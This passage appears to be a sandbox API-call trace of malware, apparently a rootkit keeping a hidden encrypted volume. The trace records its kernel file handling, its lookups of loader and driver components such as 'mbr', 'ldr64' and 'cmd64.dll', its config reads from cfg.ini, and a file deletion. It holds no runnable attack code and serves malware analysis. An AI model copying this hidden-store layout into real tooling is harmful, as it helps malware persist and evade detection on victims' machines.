[0121.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.402] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.402] IdePortDispatch () returned 0x103 [0121.402] KeWaitForMutexObject () returned 0x0 [0121.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.402] KeLeaveCriticalRegion () [0121.402] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.402] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.402] KeEnterCriticalRegion () [0121.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.402] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b20000 [0121.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.402] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.402] IdePortDispatch () returned 0x103 [0121.402] KeWaitForMutexObject () returned 0x0 [0121.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.402] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.402] IdePortDispatch () returned 0x103 [0121.402] KeWaitForMutexObject () returned 0x0 [0121.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.403] KeLeaveCriticalRegion () [0121.403] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.403] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.403] KeEnterCriticalRegion () [0121.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.403] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.403] KeLeaveCriticalRegion () [0121.403] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.403] KeEnterCriticalRegion () [0121.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.403] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.403] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.403] KeLeaveCriticalRegion () [0121.403] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.403] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.403] KeEnterCriticalRegion () [0121.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.403] ExFreePoolWithTag (P=0xfffffa8003bc41c0, Tag=0x0) [0121.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.403] KeLeaveCriticalRegion () [0121.403] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.403] ReleaseMutex (hMutex=0xf0) returned 1 [0121.403] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.403] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.404] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.404] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.404] KeEnterCriticalRegion () [0121.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.404] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.404] IdePortDispatch () returned 0x103 [0121.405] KeWaitForMutexObject () returned 0x0 [0121.405] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.405] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.405] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.405] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.405] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.405] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.405] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.405] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.405] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.405] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.405] KeLeaveCriticalRegion () [0121.405] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.405] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.405] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.406] KeEnterCriticalRegion () [0121.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.406] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.406] IdePortDispatch () returned 0x103 [0121.406] KeWaitForMutexObject () returned 0x0 [0121.406] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.406] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.406] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.406] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.406] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.406] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.406] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.406] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.406] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.406] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.406] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.406] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.406] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.406] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.406] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.406] KeLeaveCriticalRegion () [0121.406] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.406] ReleaseMutex (hMutex=0x100) returned 1 [0121.406] Sleep (dwMilliseconds=0x2bf20) [0121.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b908570, dwHighDateTime=0x1d24fa4)) [0121.413] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.413] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.413] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.413] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.413] KeEnterCriticalRegion () [0121.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.413] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.413] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.413] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.413] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.413] IdePortDispatch () returned 0x103 [0121.413] KeWaitForMutexObject () returned 0x0 [0121.413] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.413] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.413] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.413] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.413] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.413] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc42d0 [0121.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.413] KeLeaveCriticalRegion () [0121.413] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.413] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.413] KeEnterCriticalRegion () [0121.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.413] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.413] KeLeaveCriticalRegion () [0121.413] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.413] KeEnterCriticalRegion () [0121.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.413] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.413] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.413] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.413] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.413] IdePortDispatch () returned 0x103 [0121.414] KeWaitForMutexObject () returned 0x0 [0121.414] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.414] KeLeaveCriticalRegion () [0121.414] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.414] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.414] KeEnterCriticalRegion () [0121.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.414] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b23000 [0121.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.414] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.414] IdePortDispatch () returned 0x103 [0121.414] KeWaitForMutexObject () returned 0x0 [0121.414] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.414] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.414] IdePortDispatch () returned 0x103 [0121.414] KeWaitForMutexObject () returned 0x0 [0121.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.414] KeLeaveCriticalRegion () [0121.414] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.415] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.415] KeEnterCriticalRegion () [0121.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.415] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.415] KeLeaveCriticalRegion () [0121.415] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.415] KeEnterCriticalRegion () [0121.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.415] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.415] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5b80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.415] KeLeaveCriticalRegion () [0121.415] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.415] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.415] KeEnterCriticalRegion () [0121.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.415] ExFreePoolWithTag (P=0xfffffa8003bc42d0, Tag=0x0) [0121.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.415] KeLeaveCriticalRegion () [0121.415] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.415] ReleaseMutex (hMutex=0xf0) returned 1 [0121.415] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.415] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.415] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.415] KeEnterCriticalRegion () [0121.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.416] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.416] IdePortDispatch () returned 0x103 [0121.416] KeWaitForMutexObject () returned 0x0 [0121.416] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.416] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.416] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.416] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.416] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.416] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc41c0 [0121.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.416] KeLeaveCriticalRegion () [0121.416] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.416] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.416] KeEnterCriticalRegion () [0121.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.416] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.416] KeLeaveCriticalRegion () [0121.416] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.416] KeEnterCriticalRegion () [0121.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.416] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.416] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.416] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.416] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.416] IdePortDispatch () returned 0x103 [0121.416] KeWaitForMutexObject () returned 0x0 [0121.416] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.416] KeLeaveCriticalRegion () [0121.416] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.417] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.417] KeEnterCriticalRegion () [0121.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.417] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b24000 [0121.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.417] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.417] IdePortDispatch () returned 0x103 [0121.417] KeWaitForMutexObject () returned 0x0 [0121.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.417] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.417] IdePortDispatch () returned 0x103 [0121.417] KeWaitForMutexObject () returned 0x0 [0121.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.417] KeLeaveCriticalRegion () [0121.417] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.418] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.418] KeEnterCriticalRegion () [0121.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.418] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.418] KeLeaveCriticalRegion () [0121.418] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.418] KeEnterCriticalRegion () [0121.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.418] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.418] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.418] KeLeaveCriticalRegion () [0121.418] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.418] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.418] KeEnterCriticalRegion () [0121.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.418] ExFreePoolWithTag (P=0xfffffa8003bc41c0, Tag=0x0) [0121.418] ExReleaseFastMutexUnsafe (in: 